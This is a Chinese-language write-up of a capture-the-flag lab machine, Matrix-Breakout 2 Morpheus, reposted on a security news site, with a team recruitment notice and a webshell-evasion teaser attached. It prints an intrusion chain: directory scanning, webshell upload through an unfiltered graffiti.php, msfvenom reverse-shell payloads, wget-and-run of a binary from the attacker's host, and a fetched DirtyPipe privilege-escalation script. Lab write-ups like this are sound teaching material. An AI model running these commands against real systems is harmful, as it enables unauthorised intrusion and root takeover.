【渗透测试】Matrix-Breakout2Morpheus靶机复盘

admin 2026-03-10 02:12:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文复盘了Matrix-Breakout2Morpheus靶机渗透测试全过程。作者利用nmap与目录扫描发现开放端口及文件上传点,通过graffiti.php未过滤漏洞上传木马获取webshell。随后结合蚁剑与msfvenom反弹shell,借助linpeas脚本定位漏洞,最终利用CVE-2022-0847DirtyPipe成功提权获取root权限。文末包含团队招新启示。 综合评分: 85 文章分类: 渗透测试,实战经验,漏洞POC,软文广告


cover_image

【渗透测试】Matrix-Breakout 2 Morpheus 靶机复盘

OnePanda-Sec OnePanda-Sec

OnePanda-Sec

2026年3月9日 10:00 浙江

OnePanda-Sec

2026

OnePanda-Sec

Matrix-Breakout 2 Morpheus 靶机复盘

OnePanda-Sec

欢迎您的加入

招新要求

· 热爱网络安全,喜欢CTF

· 拥有CTF比赛经验,有较好比赛成绩的

· 乐于奉献、热爱分享,愿意提升自己同时帮助他人

· 时间允许参加各类赛事,服从战队管理与安排

· 各类比赛获奖者、能力出众者视情况考量

· 未参与其他高校联队

· 大一同学视情况放宽资历要求

联系方式

发送简历于邮箱

· 简历邮箱:[email protected]

01

信息收集

  1. 查IP

打开靶机后,在Kali里探测靶机的IP地址。

  1. 查端口

接着进行第一步信息收集,用nmap扫描查看开放了什么端口

发现开了22、80、81三个端口,分别访问一下

  • 22(SSH)
  • 80(HTTP)
  • 81(HTTP)

80端口是一张图片,81端口是一个登录框

先尝试有没有弱口令爆破,结果爆破了两个字典啥都没有。

  1. 查目录

那接下来就先扫描以下目录看看有啥

发现一个robots.txt,直接访问!

直接给我个假的提示,那只能用别的方法了,这一步看了一下别人的做法是扫描目录发现了一个关键文件,但是一开始用dirsearch和gobuster扫描都没有任何发现,后面发现是用了kali里面更详细全面的字典扫描出了一个关键文件。

ffuf -u http://192.168.204.130/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .txt,.php,.html,.bak,.zip

gobuster dir -u http://192.168.204.130/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,zip,bak -t 50

02

找web漏洞,设置后门

发现文件graffiti.php和graffiti.txt,访问看看

发现是一个输入框,可以POST信息,而graffiti.txt则是存放POST上传的文件内容。

抓包发现POST的信息被默认命名为graffiti.txt

发现文件名可以随便改而且没有waf,那直接上传一个木马:

用蚁剑成功连接啦hh

03

反弹shell

成功上传后门后接下来就可以准备反弹shell了

先开启一个监听窗口

nc -lvnp 666:

先生成一个连接脚本,接着在蚁剑终端连接

Online – Reverse Shell

Generator

补充:用msfvenom生成payload的方法

这一步后面发现也可以用metasploit中的msfvenom工具来生成payload

方法一:直接生成payload

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.204.128 LPORT=666 -f raw

方法二:生成二进制木马文件

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.204.128 LPORT=666 -f elf -o shell.elf

在 shell.elf 文件位置开启临时服务器:

python -m http.server 1111

在靶机里下载并执行:

cd /tmp

wget http://192.168.204.128:8888/shell.elf

chmod +x shell.elf

./shell.elf

这里后面使用这个方法复现的时候发现监听器那里直接乱码了,ai说是如果用msfvenom生成复杂一点的payload用普通的nc监听器可能会乱码,要使用metasploit自己的监听器。

终端打开msfconsole

use exploit/multi/handler

set payload linux/x64/shell_reverse_tcp

set LHOST 192.168.204.128

set LPORT 666

exploit

04

提权

连接成功,但权限还不够高:

这里flag.txt文件里面说80端口的一个图片里面有提示,

这看起来是杂项分析图片,图片比例还挺正常,加宽加高也啥也没有;那就看看有没有隐写吧

还真有隐写,发现是一个zlib文件

zlib-flate -uncompress < 8A.zlib > result.txt

cat result.txt

上网看看别人做的好像这条路走不通,直接走自动化提权脚本

wget http://192.168.204.130:1111/linpeas.sh

linpeas.sh 的作用: 它被运行后,会自动扫描整个 Linux 系统,寻找可能变成 root 的漏洞,包括: 内核漏洞(未打补丁的系统漏洞)。 错误的权限配置(比如某些敏感文件人人可读写)。 SUID 文件(具有特殊权限的程序)。 配置文件中的明文密码。 计划任务等。

找到可以利用的漏洞

CVE-2021-3490                  eBPF ALU32 bounds tracking for bitwise ops

CVE-2021-3493                  Ubuntu OverlayFS

CVE-2021-22555                 Netfilter heap out-of-bounds write

CVE-2022-0847                  DirtyPipe

CVE-2022-0995                  watch_queue

CVE-2022-32250                 nft_object UAF (NFT_MSG_NEWSET)

查资料发现 CVE-2022-0847 内核提权漏洞,极容易被利用,那直接找找别人写的poc

开启一个临时服务器用于保存下载文件

git clone https://github.com/imfiver/CVE-2022-0847.git

cd CVE-2022-0847

python -m http.server 8888

接着回到监听窗口运行提权脚本

wget http://192.168.204.128:8888/Dirty-Pipe.sh chmod +x Dirty-Pipe.sh

chomd为修改文件权限,+x给Dirty-Pipe.sh 增加 可执行权限

bash Dirty-Pipe.sh

这里在下载poc时有个小细节,在监听窗口一开始一直显示无法连接后来发现需要切换到临时目录 cd /tmp,通常临时目录不限写入文件。

提权成功!获得root权限。

总结

本次渗透测试流程:

  1. 信息收集:nmap扫描端口 → gobuster/ffuf扫描目录
  2. 漏洞发现:graffiti.php 文件上传无过滤
  3. 获取shell:上传一句话木马 → 蚁剑连接 → 反弹shell
  4. 权限提升:linpeas.sh扫描 → Dirty Pipe漏洞利用 → root权限

OnePandaSec团队交流群,欢迎网络安全爱好者加入


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:OnePanda-Sec OnePanda-Sec OnePanda-Sec《【渗透测试】Matrix-Breakout 2 Morpheus 靶机复盘》

phpwebshell免杀解析技巧 网络安全文章

phpwebshell免杀解析技巧

文章总结: 本文介绍一种PHPwebshell免杀技术,采用分离式架构实现免杀。通过一个PHP文件接收存储加密序列化数据,另一个文件读取执行命令并将结果加密隐藏
评论:0   参与:  0